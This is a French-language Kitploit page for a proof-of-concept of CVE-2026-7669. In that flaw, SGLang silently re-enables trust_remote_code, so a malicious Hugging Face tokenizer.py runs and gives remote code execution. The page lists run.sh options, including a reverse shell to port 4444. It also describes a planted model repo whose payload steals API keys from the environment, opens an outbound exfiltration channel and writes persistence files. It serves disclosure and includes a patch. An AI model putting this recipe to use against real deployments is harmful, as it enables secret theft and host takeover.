CVE-2026-7669-PoC — PoC pour CVE-2026-7669 : remplacement silencieux de trust_remote_code dans SGLang -> RCE | Kitploit

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_name,
        *args,
        trust_remote_code=True,
        tokenizer_revision=tokenizer_revision,
        clean_up_tokenization_spaces=False,
        **kwargs,
    )

./run.sh --server         reproduire via TokenizerManager.__init__
./run.sh --versions       matrice transformers 5.0..5.5
./run.sh --revshell IP    reverse shell optionnel vers IP:4444
./run.sh --rebuild        forcer la reconstruction --no-cache
./run.sh --copy-ledger ./ledger.json

Phase 1   transformers + False             return=TokenizersBackend     exec=False
Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True

Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High

*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***

Composant	Épinglage
Python	`3.12.7-slim-bookworm`
transformers	`5.3.0`
Commit SGLang	`fae90abf6e15aaffb6fd924a439253674771487d`
SHA256 de `hf_transformers_utils.py`	`9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e`
SHA256 du bloc vulnérable (lignes 898-909)	`109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece`

Métrique	Valeur	Appuyé par
AV	N	Les fichiers déclencheurs (`config.json`, `tokenizer_config.json`, `tokenizer.json`, `tokenizer.py`) sont la disposition standard `auto_map` du HF Hub. Tout registre qui les sert atteint le bug.
AC	L	`PHASE-2` se déclenche de manière déterministe en une seule exécution. Chaque condition de déclenchement est un contenu créé par l'attaquant. `PRE-1..7` confirment l'absence d'empreinte environnementale.
PR	N	Un téléversement gratuit sur le HF Hub est suffisant. Rien dans la chaîne de déclenchement n'exige de privilège préexistant sur la victime.
UI	R	Le déclenchement ne se produit que lorsqu'un opérateur (ou un pipeline configuré par l'opérateur) invoque `launch_server --model-path attacker/model`.
S	U	Toutes les affirmations `SEV-*` s'exécutent dans l'autorité du processus SGLang. Aucune évasion de sandbox ou de conteneur.
C	H	`SEV-secrets` capture `HF_TOKEN`, `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `GPG_KEY` depuis l'environnement du processus. `SEV-network` ouvre un canal d'exfiltration TCP sortant.
I	H	`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`, `SEV-pip` sont quatre primitives d'intégrité indépendantes dans des emplacements sensibles différents.
A	H	Déduit de l'RCE. `SEV-pip` prouve l'exécution arbitraire de sous-processus, qui est la même primitive nécessaire pour un auto-DoS. Le PoC ne démontre pas directement une auto-destruction.

Groupe	Affirmations
`PRE-1..7`	Versions épinglées (Python, transformers, SHA256 du fichier, nombre de lignes, SHA256 du bloc de substitution, `trust_remote_code` par défaut, chemin source)
`SRC-1`	Le source importé de `get_tokenizer` contient la substitution
`PHASE-1`	transformers respecte `trust_remote_code=False` directement
`PHASE-1b`, `PHASE-1b-mech`	SGLang sans les lignes 898-909 respecte `False` et effectue exactement un appel `from_pretrained`
`PHASE-2`, `PHASE-2-mech`, `PHASE-2-silent`	Le vrai SGLang exécute `tokenizer.py`. La trace montre l'appel 0 (`False`)->`TokenizersBackend`, l'appel 1 (`True`)->`MaliciousTokenizer`. Aucune ligne de journal ne mentionne `trust_remote_code` (capture DEBUG sur le logger racine et `sglang`).
`PHASE-2b`	Patché + `True` explicite charge toujours (le patch est chirurgical)
`PHASE-3-rce`, `PHASE-3-via-override`	Le mode tokenizer lent atteint également l'RCE via le même chemin 898-909
`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`	Primitives de persistance et de propagation latérale
`SEV-network`	Canal d'exfiltration TCP sortant
`SEV-secrets`	Capture de secrets de variables d'environnement
`SEV-pip`	Installation pip arbitraire (chaîne d'approvisionnement)
`SEV-root`	Processus s'exécutant en root dans l'image lmsysorg
`AUTH-1`	Les ServerArgs par défaut (`api_key=None`, ) laissent tous les points de terminaison accessibles sans authentification

attacker/model/
  config.json             model_type "gpt2" (dans TOKENIZER_MAPPING_NAMES de transformers)
  tokenizer_config.json   tokenizer_class personnalisé + auto_map -> tokenizer.py
  tokenizer.json          tokenizer BPE valide (pour que le premier chargement réussisse)
  tokenizer.py            charge utile
  model.safetensors       poids factices

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    logger.warning(
        "Model %s requires a custom tokenizer but trust_remote_code=False. "
        "Returning generic TokenizersBackend without executing tokenizer.py. "
        "Restart with --trust-remote-code if the custom code is required.",
        tokenizer_name,
    )

admin_api_key=None

ADMIN_OPTIONAL

Code	Signification
0	Confirmé
1	Non déclenché
2	Faux positif (transformers lui-même a exécuté `tokenizer.py`, le bug est en amont)
3	Vérification préalable de la version épinglée échouée

CVE-2026-7669-PoC

Populaires

Code vulnérable

Reproduction

Verdict

Environnement épinglé

Justification CVSS

Affirmations

Mécanisme

Correctif

Divulgation

Crédits

Références